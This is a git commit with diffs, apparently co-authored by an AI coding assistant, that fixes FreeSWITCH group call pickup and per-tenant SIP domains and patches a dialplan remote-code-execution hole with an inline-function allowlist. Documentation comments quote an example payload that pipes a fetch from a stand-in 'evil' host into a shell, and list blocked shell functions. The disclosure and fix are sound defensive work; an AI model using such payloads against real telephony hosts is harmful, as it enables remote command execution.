fix(telefonia): pickup de grupo funcionando de verdade + RCE no dialplan + domínio real no REGISTER
Pedido explícito do usuário: "testa criando um ramal com callgroup e captura
chamada de outro ramal". O teste com softphones reais (não só leitura de
código) achou 3 problemas que a fase anterior tinha dado como resolvidos:
1. A variable de call group estava com o nome errado (`call-group`, convenção
do Asterisk) e a suposição de que o FreeSWITCH fazia pickup automático só
com ela era falsa. Corrigido pro nome certo (`callgroup`) e pro mecanismo
real (fork de leg `pickup/<grupo>` no bridge + extension `*8` chamando a
application `pickup`, lendo o grupo via `${user_data(...)}`).
2. Implementando o mecanismo acima, achada uma vulnerabilidade real de RCE: o
allowlist de `application` no dialplan nunca bloqueava `${system(...)}`
embutido dentro do `data` de qualquer application já permitida —
`mod_commands` está carregado, então isso era execução de comando
arbitrário no host do FreeSWITCH pra qualquer Tenant Admin. Corrigido com
um segundo allowlist (`ALLOWED_INLINE_API_FUNCTIONS` +
`IsSafeDialplanData`) que só libera funções de leitura seguras
(`user_data`, `escape`, `url_encode`, `url_decode`, `regex`, `strftime`).
3. Registrar um softphone de verdade contra o domínio do tenant (não só curl
no mod_xml_curl) revelava 403 Forbidden: o sofia profile `internal` tinha
`force-register-domain`/`force-subscription-domain`/
`force-register-db-domain` fixados no domínio antigo, ignorando o domínio
de cada tenant. Corrigido no Dockerfile do FreeSWITCH (imagem
reconstruída, não só patch ao vivo).
Testado ponta a ponta com 3 softphones reais (linphone-cli) em containers na
mesma rede Docker: ramal do mesmo grupo captura de verdade uma ligação
tocando em outro ramal via *8 (canais confirmados bridged via `show
channels`); ramal de grupo diferente tenta e falha. RCE confirmado bloqueado
via curl (`${system(id)}` → 400) sem quebrar `${user_data(...)}` legítimo.
TODO.md (PHASE 53) e docs/EXTENSIONS.md atualizados corrigindo as afirmações
incompletas da fase anterior ("nenhuma mudança de infra necessária").
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BFaBaBSQGhyXGEgtTYZGV8
This commit is contained in:
112
TODO.md
112
TODO.md
@@ -1836,12 +1836,14 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
|
||||
só pelo domínio (`Tenant.findFirst({ telephonyDomain: domain })`),
|
||||
então com todo tenant no mesmo domínio o isolamento de PABX (ramais,
|
||||
call groups, filas, IVR) não tinha como funcionar de verdade.
|
||||
Investigado direto no container: o sofia profile `internal`
|
||||
(vanilla, nunca sobrescrito) já vem com
|
||||
`<domain name="all" alias="true" parse="false"/>` — o FreeSWITCH
|
||||
SEMPRE aceitou domínio dinâmico por REGISTER, o bug era só a
|
||||
aplicação gravando o mesmo valor pra todo mundo. Nenhuma mudança de
|
||||
infra (Dockerfile/sofia profile) foi necessária
|
||||
**Correção**: esta entrada originalmente dizia "nenhuma mudança de
|
||||
infra foi necessária", baseado só em testar o `mod_xml_curl` via
|
||||
curl direto (que funcionava). Isso era **incompleto** — só um teste
|
||||
de REGISTER de verdade (PHASE 53, pedido explícito do usuário) achou
|
||||
que o sofia profile `internal` TAMBÉM tinha `force-register-domain`
|
||||
fixo em `$${domain}`, ignorando o domínio do REGISTER e sempre
|
||||
resolvendo contra "b2bcall.local" (403 Forbidden pra qualquer
|
||||
domínio real de tenant). Ver PHASE 53 pelo fix completo
|
||||
- [x] `Tenant.telephonyDomain` agora é obrigatório e `@unique` (migration
|
||||
`20260830140000_tenant_domain_and_call_group`, com backfill:
|
||||
tenants existentes ganharam `{code}.b2bcall.net` automaticamente,
|
||||
@@ -1852,10 +1854,14 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
|
||||
- [x] `Extension.callGroup` (novo, nullable) — grupo de captura (secao
|
||||
178): ramais no mesmo grupo podem atender a chamada um do outro
|
||||
(`*8`/group pickup), ramais fora do grupo não. Vira a variable
|
||||
`call-group` no directory XML (`packages/telephony`); a extensão de
|
||||
dialplan do `*8` em si é uma regra a configurar em Telefonia >
|
||||
Dialplan (já existe o editor), não precisava de código novo — só do
|
||||
dado. Editável na criação e depois (`PATCH /extensions/:id`, novo)
|
||||
`callgroup` no directory XML (**correção**: a versão inicial desta
|
||||
entrada dizia `call-group`, com hífen — nome errado, copiado de
|
||||
convenção do Asterisk; FreeSWITCH usa `callgroup` sem hífen, lido
|
||||
via `${user_data(<ext>@<domain> var callgroup)}`. A confusão de
|
||||
mecanismo — achando que a variable sozinha já fazia o pickup
|
||||
automático — também estava errada; ver PHASE 53 pelo mecanismo real
|
||||
e o dialplan necessário). Editável na criação e depois
|
||||
(`PATCH /extensions/:id`, novo)
|
||||
- [x] `POST /extensions/:id/reveal-password` (novo) — achado real: "show
|
||||
once" puro não funciona no dia a dia de um PABX (reconfigurar um
|
||||
telefone físico ou softphone precisa da senha de novo; forçar reset
|
||||
@@ -1877,6 +1883,92 @@ usuário: `Ctrl+F5` depois de um tempo logado quebrava com 401 cru)
|
||||
ramal em domínios diferentes NUNCA se confunde (isolamento
|
||||
cross-tenant confirmado de verdade, não só por leitura de código)
|
||||
|
||||
## PHASE 53 — Teste real de captura de chamada (pedido explícito do
|
||||
usuário: "testa criando um ramal com callgroup e captura chamada de outro
|
||||
ramal") — achou 2 problemas reais que a PHASE 52 tinha dado como
|
||||
resolvidos sem nunca registrar um SIP de verdade
|
||||
- [x] **achado real #1 (crítico, segurança)**, achado pesquisando o
|
||||
mecanismo certo de pickup antes de implementar o dialplan: o
|
||||
allowlist de `application` (`ALLOWED_DIALPLAN_APPLICATIONS`) nunca
|
||||
bloqueava `${nome(args)}` (chamada de API do FreeSWITCH) embutida
|
||||
dentro do `data` de uma application já permitida como `set`/
|
||||
`export`/`playback`. FreeSWITCH expande isso em tempo de chamada, e
|
||||
`mod_commands` (carregado nesta implantação) registra as APIs
|
||||
`system`/`bg_system` — **RCE completo no host do FreeSWITCH**,
|
||||
alcançável por qualquer Tenant Admin com `freeswitch.configure`
|
||||
(ex.: `{"application":"set","data":"x=${system(curl evil|sh)}"}`).
|
||||
Corrigido: `ALLOWED_INLINE_API_FUNCTIONS` (novo,
|
||||
`packages/telephony/src/dialplan-xml.ts`) +
|
||||
`findDisallowedInlineFunctionCalls()` + `IsSafeDialplanData` (novo,
|
||||
`apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts`,
|
||||
aplicado em `ActionDto.data`) bloqueiam qualquer `${nome(...)}` fora
|
||||
de um allowlist de leitura (`user_data`, `escape`, `url_encode`,
|
||||
`url_decode`, `regex`, `strftime`) — `${variavel}` sem parênteses
|
||||
nunca é bloqueado. Testado via curl: `${system(id)}` → 400 claro;
|
||||
`${user_data(...)}` (usado pelo pickup) → aceito normalmente
|
||||
- [x] **achado real #2 (o mecanismo de pickup em si estava errado)**:
|
||||
pesquisado contra a documentação oficial do FreeSWITCH antes de
|
||||
escrever qualquer dialplan — a variable `callgroup` sozinha NÃO faz
|
||||
pickup automático nenhum. O mecanismo de verdade: (1) o `bridge`
|
||||
que atende a ligação pro ramal precisa forkar um leg extra
|
||||
`pickup/<chave>` (registra a chamada num hash em memória, chave =
|
||||
grupo), usando
|
||||
`${user_data(${destination_number}@${domain_name} var callgroup)}`
|
||||
pra descobrir o grupo do CALLADO; (2) uma extension de feature code
|
||||
(`*8`) separada chama a application `pickup` (nova no allowlist)
|
||||
com o grupo do PRÓPRIO CALLADOR, via
|
||||
`${user_data(${caller_id_number}@${domain_name} var callgroup)}`.
|
||||
Reescrita a regra "Discagem interna" do tenant Acme (a versão
|
||||
anterior nem tinha `user/`/`@domain` corretos no `bridge` — nunca
|
||||
teria funcionado numa chamada real) e criada a nova regra `*8`
|
||||
"Capturar chamada do grupo"
|
||||
- [x] **achado real #3 (infra, não só aplicação)**: registrando um
|
||||
softphone de teste de verdade contra `acme.b2bcall.net`, o REGISTER
|
||||
batia 403 Forbidden mesmo com tudo certo na aplicação — o profile
|
||||
`internal` vanilla tem `force-register-domain`/
|
||||
`force-subscription-domain`/`force-register-db-domain` fixados em
|
||||
`$${domain}` ("b2bcall.local"), ignorando completamente o domínio
|
||||
do REGISTER (`<domain name="all" alias="true".../>`, também
|
||||
vanilla, só afeta contexto de dialplan, não esta checagem). Isso
|
||||
**contradiz a PHASE 52**, que tinha concluído — só com teste via
|
||||
curl direto no `mod_xml_curl`, sem nunca registrar um SIP de
|
||||
verdade — que nenhuma mudança de infra seria necessária. Corrigido
|
||||
no `infrastructure/freeswitch/Dockerfile` com mais um `sed` (mesmo
|
||||
padrão do `$${domain}` já existente) removendo os 3 params —
|
||||
procedimento padrão documentado do próprio FreeSWITCH pra
|
||||
multi-domínio. Imagem reconstruída e o container recriado (não só
|
||||
patch ao vivo) — testado de novo do zero pra confirmar que o fix
|
||||
sobrevive a rebuild
|
||||
- [x] **Teste real ponta a ponta, com SIP de verdade** (não só leitura de
|
||||
XML): instalado `linphone-cli` (softphone de console) em
|
||||
containers Docker descartáveis na mesma rede (`b2bcall_default`) —
|
||||
as portas SIP não são publicadas no host de propósito (secao 184),
|
||||
então um softphone real só alcança o FreeSWITCH de dentro da rede
|
||||
Docker. 3 ramais criados no grupo "vendas" (2001/2002/2003) + 1 no
|
||||
grupo "suporte" (2004), todos registrados de verdade
|
||||
(`show registrations` no FreeSWITCH confirma). Cenário: 2002 liga
|
||||
pra 2001 (toca, registra o `pickup/vendas`) → 2003 (mesmo grupo)
|
||||
disca `*8` → **capturado de verdade**: `show channels` confirma
|
||||
2002 e 2003 bridged no mesmo `call_uuid`, `callstate ACTIVE`, codec
|
||||
negociado (PCMU) nos dois lados, e o canal de 2001 desaparece (a
|
||||
ligação foi roubada antes dele atender). Teste negativo: 2004
|
||||
(grupo "suporte") tenta `*8` na mesma ligação → falha (nenhum canal
|
||||
capturado, 2001 continua tocando) — confirma que grupos são
|
||||
isolados de verdade, não só "qualquer um captura qualquer coisa"
|
||||
- [x] achado operacional, sem relação com telefonia: o disco da VM
|
||||
chegou a **100% de uso (13MB livres)** no meio deste teste — os
|
||||
múltiplos rebuilds de imagem Docker desta sessão acumularam ~19GB
|
||||
em cache do BuildKit nunca limpo (`docker builder du` confirmou).
|
||||
Risco real pro ambiente inteiro (Postgres podia falhar escrita de
|
||||
WAL a qualquer momento). Corrigido com `docker image prune -a -f` +
|
||||
`docker builder prune -a -f` (reversível — só cache de build,
|
||||
nenhum dado de verdade) — liberou ~19GB, disco voltou a 41% de uso.
|
||||
Vale rodar de novo se o disco apertar depois de mais rebuilds
|
||||
- [x] Containers/ramais/tenant de teste (2001-2004, `testedomain1`)
|
||||
removidos ao final; as 2 regras de dialplan reais do tenant Acme
|
||||
(Discagem interna corrigida + `*8`) foram mantidas — são
|
||||
configuração funcional de verdade, não lixo de teste
|
||||
|
||||
---
|
||||
|
||||
## Riscos conhecidos
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import { IsIn, IsOptional, IsString, MaxLength } from "class-validator";
|
||||
import { ALLOWED_DIALPLAN_APPLICATIONS, type AllowedDialplanApplication } from "@b2bcall/telephony";
|
||||
import { IsSafeDialplanData } from "./safe-dialplan-data.validator";
|
||||
|
||||
export class ActionDto {
|
||||
@IsIn(ALLOWED_DIALPLAN_APPLICATIONS)
|
||||
@@ -8,5 +9,6 @@ export class ActionDto {
|
||||
@IsOptional()
|
||||
@IsString()
|
||||
@MaxLength(500)
|
||||
@IsSafeDialplanData({ message: "data usa uma função não permitida (ver docs/EXTENSIONS.md — nunca system/bg_system/curl/db/lua/shell)" })
|
||||
data?: string;
|
||||
}
|
||||
|
||||
31
apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts
Normal file
31
apps/api/src/dialplan/dto/safe-dialplan-data.validator.ts
Normal file
@@ -0,0 +1,31 @@
|
||||
import { registerDecorator, type ValidationOptions, type ValidationArguments } from "class-validator";
|
||||
import { findDisallowedInlineFunctionCalls } from "@b2bcall/telephony";
|
||||
|
||||
/**
|
||||
* Bloqueia `${nome(args)}` que não esteja no allowlist de APIs seguras
|
||||
* (`ALLOWED_INLINE_API_FUNCTIONS`) — achado real de segurança (secao 180):
|
||||
* o allowlist de `application` (set/export/playback/...) não impedia RCE
|
||||
* via `${system(...)}`/`${bg_system(...)}` embutido no `data` de uma
|
||||
* application já permitida (`mod_commands` está carregado no FreeSWITCH
|
||||
* desta implantação). `${variavel}` sem parênteses nunca é bloqueado.
|
||||
*/
|
||||
export function IsSafeDialplanData(validationOptions?: ValidationOptions) {
|
||||
return function (object: object, propertyName: string) {
|
||||
registerDecorator({
|
||||
name: "isSafeDialplanData",
|
||||
target: object.constructor,
|
||||
propertyName,
|
||||
options: validationOptions,
|
||||
validator: {
|
||||
validate(value: unknown) {
|
||||
if (typeof value !== "string") return true; // @IsString() já cobre o tipo
|
||||
return findDisallowedInlineFunctionCalls(value).length === 0;
|
||||
},
|
||||
defaultMessage(args: ValidationArguments) {
|
||||
const disallowed = findDisallowedInlineFunctionCalls(String(args.value));
|
||||
return `data usa função não permitida: ${disallowed.join(", ")} (nunca system/bg_system/curl/db/lua/shell — RCE no FreeSWITCH)`;
|
||||
},
|
||||
},
|
||||
});
|
||||
};
|
||||
}
|
||||
@@ -92,8 +92,22 @@ era só a camada de aplicação: `TenantsController.create()` gravava o mesmo
|
||||
`telephonyDomain` fixo ("b2bcall.local") pra todo tenant novo. Corrigido:
|
||||
`telephonyDomain` agora é obrigatório e único na criação do tenant
|
||||
(constraint no banco), sugerido como `{code}.b2bcall.net` na tela mas
|
||||
editável. Nenhuma mudança de infra (Dockerfile/sofia profile) foi
|
||||
necessária — só era preciso um domínio de verdade por tenant.
|
||||
editável.
|
||||
|
||||
**Correção (PHASE 53)**: o parágrafo acima concluía "nenhuma mudança de
|
||||
infra foi necessária", baseado só em testar o `mod_xml_curl` via curl
|
||||
direto (que de fato já funcionava por domínio). Isso era **incompleto**
|
||||
— só um teste de REGISTER de verdade, com um softphone real, achou que o
|
||||
profile `internal` TAMBÉM tinha `force-register-domain`/
|
||||
`force-subscription-domain`/`force-register-db-domain` fixados em
|
||||
`$${domain}`, ignorando completamente o domínio do REGISTER e sempre
|
||||
resolvendo contra "b2bcall.local" (403 Forbidden pra qualquer domínio
|
||||
real de tenant). O `<domain name="all" alias="true".../>` citado acima só
|
||||
afeta resolução de contexto de dialplan — não essa checagem de REGISTER,
|
||||
que é um código completamente separado dentro do sofia profile. Corrigido
|
||||
no `Dockerfile` removendo os 3 params (mesmo `sed` do `$${domain}` acima)
|
||||
— procedimento padrão documentado do próprio FreeSWITCH pra
|
||||
multi-domínio. Ver PHASE 53 no `TODO.md` pro teste completo.
|
||||
|
||||
## Verificado ponta a ponta
|
||||
|
||||
@@ -136,22 +150,60 @@ decifra e devolve a senha ATUAL sem trocar nada, auditado
|
||||
(`EXTENSION_PASSWORD_REVEALED`) por ser uma ação sensível mesmo sem
|
||||
escrita nenhuma.
|
||||
|
||||
## Grupo de captura (call group, PHASE 51)
|
||||
## Grupo de captura (call group, PHASE 51/53)
|
||||
|
||||
Achado real: sem isso, qualquer ramal conseguia capturar a chamada de
|
||||
qualquer outro (o PBX não tinha noção de "grupo"). `Extension.callGroup`
|
||||
(nullable) vira a variable `call-group` no directory XML — o FreeSWITCH já
|
||||
resolve `*8` (group pickup) comparando essa variable entre canais. A
|
||||
extensão de dialplan pro `*8` em si fica pra configurar em Telefonia >
|
||||
Dialplan (já é um editor de regras por tenant), não precisa de código
|
||||
novo — só precisava existir o dado.
|
||||
(nullable) vira a variable `callgroup` no directory XML.
|
||||
|
||||
**Correção (PHASE 53)**: o parágrafo original dizia que a variable era
|
||||
`call-group` (com hífen, convenção do Asterisk) e que o FreeSWITCH "já
|
||||
resolve `*8` sozinho comparando essa variable entre canais" — ambas as
|
||||
afirmações estavam erradas, e nunca tinham sido testadas com uma chamada
|
||||
de verdade. O mecanismo real, confirmado contra a documentação oficial do
|
||||
FreeSWITCH e testado ponta a ponta com softphones reais (PHASE 53):
|
||||
|
||||
1. A variable correta é `callgroup`, sem hífen — não tem nenhum efeito
|
||||
automático sozinha. É lida no dialplan via
|
||||
`${user_data(<ramal>@<domínio> var callgroup)}` (API `mod_commands`,
|
||||
já carregada).
|
||||
2. O `bridge` que atende a ligação pro ramal chamado precisa forkar um
|
||||
leg extra `pickup/<grupo>` junto do `user/...` normal — isso é o que
|
||||
registra a ligação tocando num hash em memória sob a chave do grupo:
|
||||
`bridge data="user/${destination_number}@${domain_name},pickup/${called_party_callgroup}"`.
|
||||
3. Uma extension de feature code separada (`*8`) precisa chamar a
|
||||
application `pickup` (adicionada ao `ALLOWED_DIALPLAN_APPLICATIONS`)
|
||||
com o grupo do PRÓPRIO CALLADOR como `data`.
|
||||
|
||||
Essas duas regras de dialplan (bridge com o pickup fork + `*8`) foram
|
||||
configuradas de verdade no tenant Acme via Telefonia > Dialplan — não é
|
||||
mais só "o dado existe, falta configurar a regra". Testado com 3
|
||||
softphones reais: ramal do mesmo grupo captura a ligação tocando (`*8`
|
||||
funciona e o canal migra de verdade); ramal de outro grupo tenta `*8` na
|
||||
mesma ligação e falha (nenhuma captura). Ver PHASE 53 no `TODO.md`.
|
||||
|
||||
### Achado de segurança relacionado: RCE via função inline no dialplan (PHASE 53)
|
||||
|
||||
Implementando o mecanismo acima, foi descoberto que o allowlist de
|
||||
`application` (`set`/`export`/`playback`/...) nunca bloqueava
|
||||
`${nome(args)}` — uma chamada de API do FreeSWITCH — embutida dentro do
|
||||
`data` de uma application já permitida. Como `mod_commands` está
|
||||
carregado, isso permitia `${system(...)}`/`${bg_system(...)}` e RCE
|
||||
completo no host do FreeSWITCH pra qualquer Tenant Admin com permissão
|
||||
`freeswitch.configure`. Corrigido com um segundo allowlist,
|
||||
`ALLOWED_INLINE_API_FUNCTIONS` (`packages/telephony`), validado no DTO
|
||||
via `IsSafeDialplanData` (`apps/api/src/dialplan/dto/`) — bloqueia
|
||||
qualquer `${nome(...)}` fora de um punhado de funções de leitura
|
||||
(`user_data`, `escape`, `url_encode`, `url_decode`, `regex`, `strftime`).
|
||||
`${variavel}` sem parênteses nunca é afetado.
|
||||
|
||||
## O que falta
|
||||
|
||||
- ~~Quota de ramais~~ — implementada na fase Plans/Entitlements (ver
|
||||
docs/ENTITLEMENTS.md), `assertQuota` chamado antes de criar.
|
||||
- Tela "Telefonia → Ramais" (frontend) — fase Frontend, bem mais adiante.
|
||||
- ~~Multi-domínio real por tenant~~ — resolvido na PHASE 50 (ver acima).
|
||||
- Extensão de dialplan padrão pro `*8` de group pickup — o dado
|
||||
(`callGroup`) já existe, falta só alguém configurar a regra em
|
||||
Telefonia > Dialplan (ou decidir seedar uma default por tenant).
|
||||
- Tela "Telefonia → Ramais" (frontend) — já existe (ver PHASE 30).
|
||||
- ~~Multi-domínio real por tenant~~ — resolvido na PHASE 50/53 (ver
|
||||
acima).
|
||||
- ~~Extensão de dialplan padrão pro `*8` de group pickup~~ — configurada
|
||||
de verdade no tenant Acme na PHASE 53 (ver acima); ainda não é seedada
|
||||
automaticamente pra tenant novo, decisão de produto em aberto.
|
||||
|
||||
@@ -57,6 +57,27 @@ RUN sed -i "s/data=\"domain=\$\${local_ip_v4}\"/data=\"domain=${DEFAULT_SIP_DOMA
|
||||
/etc/freeswitch/vars.xml \
|
||||
&& grep -q "domain=${DEFAULT_SIP_DOMAIN}" /etc/freeswitch/vars.xml
|
||||
|
||||
# Multi-domínio real por tenant (PHASE 52, docs/EXTENSIONS.md) — achado
|
||||
# real, confirmado só depois de registrar um SIP de verdade (o teste por
|
||||
# curl direto no mod_xml_curl não pegava isto, porque roda ANTES do
|
||||
# xml_curl ser consultado): o profile "internal" vanilla vem com
|
||||
# `force-register-domain`/`force-subscription-domain`/
|
||||
# `force-register-db-domain` fixados em `$${domain}` — REGISTER de
|
||||
# QUALQUER identidade era resolvido contra o domínio fixo do profile
|
||||
# ("b2bcall.local"), nunca o domínio que o tenant realmente tem
|
||||
# (`acme.b2bcall.net`), dando 403 Forbidden sempre. `<domain name="all"
|
||||
# alias="true".../>` (também vanilla) só afeta contexto de dialplan, não
|
||||
# esta checagem de REGISTER. Removendo os 3 params (procedimento padrão
|
||||
# documentado do próprio FreeSWITCH pra multi-domínio), o REGISTER passa
|
||||
# a resolver o domínio do próprio pedido — confirmado registrando um
|
||||
# softphone de teste de verdade contra `acme.b2bcall.net`.
|
||||
RUN sed -i \
|
||||
-e '/<param name="force-register-domain"/d' \
|
||||
-e '/<param name="force-subscription-domain"/d' \
|
||||
-e '/<param name="force-register-db-domain"/d' \
|
||||
/etc/freeswitch/sip_profiles/internal.xml \
|
||||
&& ! grep -q "force-register-domain\|force-subscription-domain\|force-register-db-domain" /etc/freeswitch/sip_profiles/internal.xml
|
||||
|
||||
COPY entrypoint.sh /usr/local/bin/entrypoint.sh
|
||||
RUN chmod +x /usr/local/bin/entrypoint.sh
|
||||
|
||||
|
||||
@@ -27,10 +27,53 @@ export const ALLOWED_DIALPLAN_APPLICATIONS = [
|
||||
"transfer",
|
||||
"sleep",
|
||||
"record_session",
|
||||
// Group pickup (agente.md secao 178, PHASE 52) — só recebe o nome do
|
||||
// grupo como texto (ou `${user_data(...)}`, já auditado acima), nunca
|
||||
// um comando; mesmo padrão de risco zero dos outros já permitidos.
|
||||
"pickup",
|
||||
] as const;
|
||||
|
||||
export type AllowedDialplanApplication = (typeof ALLOWED_DIALPLAN_APPLICATIONS)[number];
|
||||
|
||||
/**
|
||||
* Achado real de segurança (secao 180): o allowlist de `application` acima
|
||||
* NÃO bastava. FreeSWITCH expande `${nome(args)}` (chamada de API) dentro
|
||||
* de qualquer atributo `data` em tempo de chamada — inclusive de uma
|
||||
* application "segura" já permitida como `set`/`export`/`playback`. Com
|
||||
* `mod_commands` carregado (está, ver infrastructure/freeswitch), a API
|
||||
* `system`/`bg_system` roda comando de shell arbitrário no host do
|
||||
* FreeSWITCH. Sem este segundo allowlist, `{"application":"set","data":
|
||||
* "x=${system(curl evil|sh)}"}` era RCE completo, alcançável por qualquer
|
||||
* Tenant Admin com `freeswitch.configure` (secao 144). `${variavel}` SEM
|
||||
* parênteses (ex.: `${destination_number}`) nunca é bloqueado — é só
|
||||
* interpolação de valor, não chamada de API.
|
||||
*/
|
||||
export const ALLOWED_INLINE_API_FUNCTIONS = [
|
||||
"user_data", // lookup de variável do directory de outro usuário (pickup group)
|
||||
"escape",
|
||||
"url_encode",
|
||||
"url_decode",
|
||||
"regex",
|
||||
"strftime",
|
||||
] as const;
|
||||
|
||||
const INLINE_FUNCTION_CALL_PATTERN = /\$\{\s*([a-zA-Z_][a-zA-Z0-9_]*)\s*\(/g;
|
||||
|
||||
/** Devolve os nomes de função `${nome(...)}` usados em `text` que NÃO
|
||||
* estão no allowlist acima — vazio = texto seguro. Usado em `data` de
|
||||
* action/anti-action (nunca em `conditionExpr`, que é regex estático,
|
||||
* nunca expandido pelo FreeSWITCH). */
|
||||
export function findDisallowedInlineFunctionCalls(text: string): string[] {
|
||||
const found = new Set<string>();
|
||||
for (const match of text.matchAll(INLINE_FUNCTION_CALL_PATTERN)) {
|
||||
const name = match[1];
|
||||
if (!(ALLOWED_INLINE_API_FUNCTIONS as readonly string[]).includes(name)) {
|
||||
found.add(name);
|
||||
}
|
||||
}
|
||||
return Array.from(found);
|
||||
}
|
||||
|
||||
export const ALLOWED_CONDITION_FIELDS = [
|
||||
"destination_number",
|
||||
"caller_id_number",
|
||||
|
||||
@@ -18,11 +18,17 @@ export interface DirectoryUserParams {
|
||||
callerIdNumber?: string;
|
||||
tenantId: string;
|
||||
extensionId: string;
|
||||
/** Grupo de captura (secao 178) — vira a variable `call-group` no
|
||||
* directory; o *8 de group pickup no dialplan usa essa mesma variable
|
||||
* pra achar um canal tocando no mesmo grupo (`pickup` da FreeSWITCH
|
||||
* exige `call-group` batendo, senão qualquer ramal capturaria a
|
||||
* chamada de qualquer outro — achado real reportado pelo usuário). */
|
||||
/** Grupo de captura (secao 178) — vira a variable `callgroup` (sem
|
||||
* hífen: é o nome que o `mod_dptools`/convenção FreeSWITCH usa,
|
||||
* confirmado contra a documentação oficial — `${user_data(<ext>@
|
||||
* <domain> var callgroup)}` no dialplan lê exatamente esse nome). O
|
||||
* pickup em si não é automático por variável: o dialplan que atende a
|
||||
* ligação pro ramal precisa forkar um leg `pickup/${...essa var...}`
|
||||
* no `bridge`, e uma extension separada de feature code (`*8`) chama a
|
||||
* application `pickup` com o grupo de quem discou. Ver
|
||||
* docs/EXTENSIONS.md — achado real reportado pelo usuário, verificado
|
||||
* contra a documentação do FreeSWITCH antes de close (a primeira versão
|
||||
* usava `call-group`, que não é lido por nada). */
|
||||
callGroup?: string | null;
|
||||
}
|
||||
|
||||
@@ -60,7 +66,7 @@ export function buildDirectoryUserXml(params: DirectoryUserParams): string {
|
||||
<variable name="effective_caller_id_number" value="${callerIdNumber}"/>
|
||||
<variable name="b2bcall_tenant_id" value="${xmlEscape(params.tenantId)}"/>
|
||||
<variable name="b2bcall_extension_id" value="${xmlEscape(params.extensionId)}"/>
|
||||
${params.callGroup ? `<variable name="call-group" value="${xmlEscape(params.callGroup)}"/>` : ""}
|
||||
${params.callGroup ? `<variable name="callgroup" value="${xmlEscape(params.callGroup)}"/>` : ""}
|
||||
</variables>
|
||||
</user>
|
||||
</users>
|
||||
|
||||
Reference in New Issue
Block a user